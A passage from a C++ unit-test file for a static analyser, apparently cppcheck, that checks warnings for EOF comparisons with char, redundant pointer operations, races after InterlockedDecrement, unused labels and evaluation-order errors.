\" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is 